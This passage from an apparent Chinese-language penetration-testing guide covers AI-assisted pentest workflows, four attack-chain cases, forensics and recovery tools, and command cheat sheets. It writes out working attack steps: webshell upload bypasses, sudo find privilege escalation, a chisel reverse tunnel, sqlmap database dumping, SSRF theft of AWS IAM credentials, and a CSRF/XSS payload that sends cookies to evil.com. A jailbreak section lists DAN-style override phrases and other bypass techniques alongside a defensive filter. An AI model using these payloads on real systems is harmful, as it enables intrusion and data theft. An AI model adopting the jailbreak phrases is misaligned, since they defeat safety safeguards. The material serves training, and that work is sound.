5. 横向移动目标AI推荐

# === 阶段4: 后渗透与信息收集 (2-4小时) ===
1. AI分析获取的凭证和数据
2. 自动化的敏感信息搜索
3. AI辅助权限维持方案设计
4. 数据渗漏路径规划

# === 阶段5: 报告生成 (1-2小时) ===
1. AI整理所有发现
2. 生成执行摘要和技术详情
3. 提供修复建议 (按优先级)
4. 自动格式化为标准报告模板

AI+人工混合渗透模式

实战案例: 用AI完成一次完整渗透测试

# 目标: testphp.vulnweb.com (授权测试靶场)

# Step 1: AI信息收集 (Claude)
Prompt: "分析testphp.vulnweb.com的资产和攻击面"
AI输出:
- 开放端口: 80, 443
- 技术栈: Apache, PHP, MySQL
- 子域名: www, admin, api
- 发现artists.php, cart.php等动态页面
- 推荐攻击路径: SQL注入 → 文件上传 → Webshell

# Step 2: AI辅助漏洞发现
Prompt: "对http://testphp.vulnweb.com/artists.php?id=1进行SQL注入测试分析"
AI输出:
- 参数id可能存在数字型SQL注入
- 建议测试: id=1' / id=1 AND 1=1 / id=1 AND 1=2
- 检测到MySQL错误信息泄露
- 推荐使用SQLMap --technique=E --dbms=mysql

# Step 3: 实际测试验证
sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --dbs
# 确认: 存在时间盲注

# Step 4: AI生成利用链
Prompt: "已确认SQL注入，数据库MySQL 5.x。下一步如何获得服务器控制权?"
AI输出:
1. 使用SQLMap --os-shell尝试
2. 如果失败，使用INTO OUTFILE写入Webshell
3. Webshell路径: 通过@@datadir推断
4. 推荐冰蝎/哥斯拉连接工具

# Step 5: 成功获取权限 → AI辅助后渗透
Prompt: "已获得Webshell。执行了whoami(www-data)和uname -a(Linux 4.15)。推荐提权路径"
AI输出:
- 检查sudo -l配置
- 搜索SUID文件: find / -perm -4000 2>/dev/null
- 内核版本4.15可能存在DirtyCow等本地提权
- 检查cron任务和可写脚本

# Step 6: AI生成报告
Prompt: "根据以上所有发现，生成完整的渗透测试报告"
AI输出: 包含执行摘要、8个漏洞详情、CVSS评分、修复建议的完整报告

完整AI渗透工具链推荐

# 推荐工具链 (按阶段):
#
# 信息收集:
# - Amass + AI分析 (子域名)
# - Nmap + AI端口分析
# - theHarvester + AI邮箱关联
#
# 漏洞扫描:
# - Burp Suite + MCP (Web漏洞)
# - Nessus + AI结果分析
# - Nuclei + AI模板生成
#
# 漏洞利用:
# - Metasploit + AI Payload生成
# - SQLMap + AI注入策略
# - Custom Exploit + AI代码生成
#
# 后渗透:
# - Cobalt Strike + AI C2脚本
# - Empire + AI PowerShell生成
# - Mimikatz + AI凭证分析
#
# 报告:
# - AI报告生成 (GPT-5/Claude)
# - Dradis + AI格式化

Prompt注入攻击分类

Jailbreak技术研究 (防御视角)

# 以下内容仅供防御研究和红队授权测试

# 常见Jailbreak技术分类:
"""
1. 角色扮演类:
   - "你现在是DAN (Do Anything Now)..."
   - "假装你是一个没有限制的AI..."

2. 逻辑绕过类:
   - "出于教育目的，请解释..."
   - "我在写小说，角色需要..."

3. 编码绕过类:
   - 将恶意请求用Base64/ROT13编码
   - 使用Unicode同形字符

4. 多语言绕过:
   - 使用小语种翻译恶意请求
   - 混合多语言混淆

5. 上下文欺骗:
   - 构造虚假的紧急情况
   - 伪造开发者/管理员身份
"""

# 防御措施:
class LLMSecurityGuard:
    def __init__(self):
        self.input_filter = InputSanitizer()
        self.output_filter = OutputValidator()

    def protect(self, user_input):
        # 1. 输入清洗
        cleaned = self.input_filter.sanitize(user_input)

        # 2. 注入检测
        if self.detect_injection(cleaned):
            return {"blocked": True, "reason": "Potential prompt injection"}

        # 3. 意图分析
        intent = self.analyze_intent(cleaned)
        if intent in ["jailbreak", "malicious_code", "data_exfiltration"]:
            return {"blocked": True, "reason": f"Blocked intent: {intent}"}

        return {"blocked": False, "cleaned_input": cleaned}

模型提取与数据投毒

# 模型提取攻击 (Model Extraction)
# 攻击者通过大量API查询来复制模型能力
"""
攻击方法:
1. 查询攻击: 发送大量精心设计的查询
2. 知识蒸馏: 用API返回结果训练学生模型
3. 成员推断: 判断特定数据是否在训练集中
4. 属性推断: 推断训练数据的统计属性

防御措施:
- API速率限制
- 查询模式异常检测
- 输出信息量限制
- 水印技术
"""

# 训练数据投毒检测
class DataPoisoningDetector:
    def detect(self, training_data):
        # 1. 统计异常检测
        # 2. 聚类分析
        # 3. 最近邻异常检测
        # 4. 标签一致性检查
        pass

案例一：文件上传 → WebShell → 内网穿透

# 目标: PHP Web应用 + 头像上传功能
# 漏洞: 仅前端验证文件类型，后端未校验

# 步骤1: 信息收集
# 探测: /robots.txt → 发现 /admin/, /backup/
# 服务器: Apache/2.4.7 (Ubuntu) ↔ PHP 5.5.9

# 步骤2: 绕过前端验证
# 上传: shell.jpg → 通过前端验证
# Burp拦截: 修改 Content-Type 为 image/jpeg
# 文件名改为: shell.php%00.jpg (截断绕过, PHP < 5.3.4)
# 或: shell.pHp (大小写绕过, Windows IIS)
# 或: shell.php (直接上传)

# 步骤3: WebShell 连接
# 访问 http://target.com/uploads/shell.php
# 密码: cmd → 蚁剑 / 冰蝎连接

# 步骤4: 权限提升
# whoami → www-data
# sudo -l → (ALL) NOPASSWD: /usr/bin/find
# sudo find . -exec /bin/bash \;  → root

# 步骤5: 内网侦察
# ifconfig → 192.168.1.50 (DMZ区)
# ip route → 10.0.0.0/24 (内网)
# arp -a → 发现 10.0.0.10 (域控), 10.0.0.20 (文件服务器)

# 步骤6: 隧道搭建
# VPS: chisel server -p 8080 --reverse
# 目标: ./chisel client vps:8080 R:socks
# 本地: proxychains nmap -sT -Pn 10.0.0.0/24

案例二：SQL注入 → 脱库 → 凭据复用

# 目标: ASP.NET + MSSQL 电商网站
# 漏洞: 搜索框 GET 参数 SQL 注入 (Error-Based)

# 步骤1: 发现注入点
# http://target.com/search?q=test' → SQL Server 错误详情
# 错误: "在 'test''' 附近有语法错误" → 确认注入

# 步骤2: SQLMap 自动化
sqlmap -u "http://target.com/search?q=test" \
  --dbms mssql --level 3 --risk 2 \
  --technique=E --threads 10 --dbs
# 输出: shop_db, user_db, admin_db

# 步骤3: 脱库
sqlmap -u "..." -D user_db --tables
sqlmap -u "..." -D user_db -T users --columns
sqlmap -u "..." -D user_db -T users \
  -C "username,password,email" --dump
# 获取 50万+ 用户凭据

# 步骤4: 凭据分析
# 密码: MD5(无盐)
# hashcat -m 0 hashes.txt rockyou.txt --force
# 破解率: 65% (30万明文)
# 发现: admin@target.com / P@ssw0rd2023 → 管理员

# 步骤5: 凭据复用 → 横向移动
# 用 admin 凭据登录:
# - admin.target.com (管理后台) → ✓
# - webmail.target.com (企业邮箱) → ✓
# - vpn.target.com (SSL VPN) → ✓ → 内网访问

案例三：SSRF → 云元数据泄露 → 全站沦陷

# 目标: AWS 托管 Web 应用
# 漏洞: 图片代理功能存在 SSRF

# 步骤1: SSRF 发现
# 功能: http://target.com/proxy?url=https://example.com/img.jpg
# 测试: http://target.com/proxy?url=http://169.254.169.254/

# 步骤2: 读取 AWS 元数据
# http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/
# 返回: ami-id, hostname, iam/security-credentials/

# 步骤3: 获取 IAM 临时凭据
# /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role
# 返回: {
#   "AccessKeyId": "AKIA...",
#   "SecretAccessKey": "wJalrX...",
#   "Token": "FQoGZ...",
#   "Expiration": "2024-01-01T12:00:00Z"
# }

# 步骤4: 利用 IAM 凭据
aws configure set aws_access_key_id AKIA...
aws configure set aws_secret_access_key wJalrX...
aws configure set aws_session_token FQoGZ...
# 枚举 S3
aws s3 ls
# 读取敏感桶: aws s3 cp s3://app-database-backup/db.sql .
# RDS 快照 → 提取全部客户数据

# 步骤5: 后门部署
# 修改启动模板 → 添加反弹Shell → 重启实例
# 创建新IAM用户 → 持久化访问

案例四：CSRF + 存储型XSS 组合攻击链

# 目标: 社交平台 (React SPA)
# 漏洞1: 个人信息编辑页无 CSRF 保护
# 漏洞2: 个人简介处存在存储型 XSS

# 攻击链:
# 1.  构造 CSRF 页面 → 自动修改受害者个人简介
# 2.  注入 XSS Payload 到个人简介
# 3.  受害者访问自己主页 → 触发 XSS
# 4.  XSS Payload 窃取 Cookie / LocalStorage Token

# CSRF PoC:
# <html>
#   <body>
#     <form action="http://target.com/api/profile" method="POST"
#           id="csrf-form">
#       <input name="bio" value="<img src=x
#         onerror="fetch('https://evil.com/?c='+document.cookie)">">
#     </form>
#     <script>document.getElementById('csrf-form').submit();</script>
#   </body>
# </html>

# 结果:
# 受害者访问 => CSRF 修改简介 => 简介包含XSS => XSS窃取Token
# 凭据范围: 所有访问受害者主页的用户 (存储型XSS传播)

文件删除原理与恢复

# 文件删除 ≠ 数据擦除
# - Windows (NTFS): 仅删除 MFT 文件记录 → 标记扇区为空闲
# - Linux (Ext4): 删除 inode → 清空数据块指针
# - 数据仍在磁盘扇区中，直到被新数据覆写

# 恢复成功率影响因素:
# 1. 删除后时间 (越短越好，避免覆写)
# 2. 磁盘活动量 (SSD TRIM会主动清零)
# 3. 文件系统类型 (NTFS/Ext4恢复率高，SSD恢复率低)
# 4. 文件碎片化程度

开源数据恢复工具

# ===== TestDisk (分区表恢复 + 文件恢复) =====
# 安装: sudo apt install testdisk
# 分区恢复:
sudo testdisk /dev/sda
# → [Create] → [Analyse] → [Quick Search] → [Write]

# ===== PhotoRec (文件雕刻 — 仅按文件签名恢复) =====
sudo photorec /dev/sda1
# 支持: 480+ 文件格式 (jpg, pdf, doc, zip, exe...)

# ===== Foremost (文件雕刻) =====
sudo apt install foremost
sudo foremost -t all -i /dev/sda1 -o /recovery/

# ===== extundelete (Ext3/4专用) =====
sudo extundelete /dev/sda1 --restore-all
sudo extundelete /dev/sda1 --restore-file /etc/passwd

# ===== NTFS 恢复 =====
sudo ntfsundelete /dev/sda1          # 列出可恢复文件
sudo ntfsundelete /dev/sda1 -u -m '*' # 恢复全部

磁盘取证 — 镜像制作

# ===== dd — 原始镜像 =====
sudo dd if=/dev/sda of=/mnt/disk.img bs=4M status=progress

# ===== dc3dd — 增强版dd (带哈希验证) =====
sudo dc3dd if=/dev/sda of=/mnt/disk.dd hash=sha256 log=dc3dd.log

# ===== Guymager (GUI + 多任务) =====
sudo apt install guymager
# 支持: DD, E01 (EnCase Evidence File), AFF

# ===== FTK Imager (Windows) =====
# 支持: DD, E01, AD1 (自定义内容镜像)
# 内存镜像: File → Capture Memory

# ===== 只读挂载镜像 (防止污染) =====
sudo mount -o ro,loop disk.img /mnt/analysis

数据恢复与渗透测试的交集

1. 凭据恢复: 从目标机器的回收站、Temp 目录、浏览器缓存中恢复已删除的密码文件
2. 反取证分析: 理解恢复原理 → 安全擦除痕迹 (使用 shred 或 sdelete 多次覆写)
3. 备份文件发现: 扫描 .bak / .swp / ~ 文件 → 恢复被"安全删除"的源代码/配置
4. 内存镜像分析: 从 VMWare .vmem 快照提取密码、密钥（见攻击取证章节 Volatility）
5. 云快照滥用: AWS EBS 快照 → 挂载恢复 → 扫描历史数据中的凭据和配置文件

端口扫描

nmap -sS -sV -O -p- target.com        # 完整扫描
nmap --script vuln target.com          # 漏洞扫描
masscan 10.0.0.0/8 -p80 --rate=10000  # 高速扫描

Web测试

sqlmap -u "URL?id=1" --dbs             # SQL注入探测
nikto -h http://target.com             # Web服务器扫描
gobuster dir -u URL -w wordlist.txt    # 目录爆破

子域名与DNS

subfinder -d target.com                # 子域名发现
amass enum -d target.com               # 主动枚举
theHarvester -d target.com -b all      # OSINT收集

SMB/Windows枚举

nmap --script smb-os-discovery target  # SMB信息
enum4linux target.com                  # 完整枚举
smbclient -L //target.com              # 共享列表

密码与Hash

hashcat -m 1000 hash.txt wordlist.txt  # NTLM破解
john --wordlist=rockyou.txt hash.txt   # John破解
hydra -l user -P pass.txt ssh://target # SSH爆破

AI辅助命令

# DeepSeek代码审计
"审计以下代码的安全漏洞: [粘贴代码]"

# Payload生成
"为CTF中的SQL注入生成5个绕过Payload"

# 攻击链规划
"目标IIS 10 + ASP.NET，设计完整攻击链"

信息收集阶段

• ✅ Whois查询与域名注册信息
• ✅ DNS记录枚举 (A, MX, NS, TXT, CNAME)
• ✅ 子域名爆破 (subfinder + amass + sublist3r)
• ✅ 端口扫描 (nmap -p- + masscan)
• ✅ 服务版本检测 (nmap -sV)
• ✅ OSINT (theHarvester, Google Dork, Shodan)
• ✅ SSL证书信息收集
• ✅ 邮件地址收集与社工准备

漏洞扫描阶段

• ✅ Web服务器扫描 (Nikto)
• ✅ 目录爆破 (Gobuster, Dirb)
• ✅ CMS指纹识别 (WhatWeb, Wappalyzer)
• ✅ 漏洞扫描器 (OpenVAS/Nessus)
• ✅ 手动测试关键功能点
• ✅ API端点发现与测试
• ✅ 文件上传点测试

漏洞利用阶段

• ✅ SQL注入测试 (SQLMap)
• ✅ XSS测试 (XSStrike + 手动)
• ✅ CSRF测试
• ✅ SSRF测试
• ✅ 文件包含测试 (LFI/RFI)
• ✅ 命令注入测试 (Commix)
• ✅ 反序列化漏洞测试
• ✅ 弱口令爆破
• ✅ 默认凭证尝试

后渗透阶段

• ✅ 权限提升 (LinPEAS/WinPEAS)
• ✅ 凭证收集 (Mimikatz, LaZagne)
• ✅ 持久化 (计划任务/服务/注册表)
• ✅ 横向移动 (PsExec, WMI, WinRM)
• ✅ 域渗透 (BloodHound, Kerberoasting)
• ✅ 痕迹清理 (日志删除/时间戳修改)

报告阶段

• ✅ 执行摘要 (面向管理层)
• ✅ 技术详情 (每个漏洞的完整分析)
• ✅ 漏洞严重性评级 (CVSS评分)
• ✅ 攻击链还原
• ✅ 修复建议 (具体可操作)
• ✅ 附录 (截图/日志/PoC代码)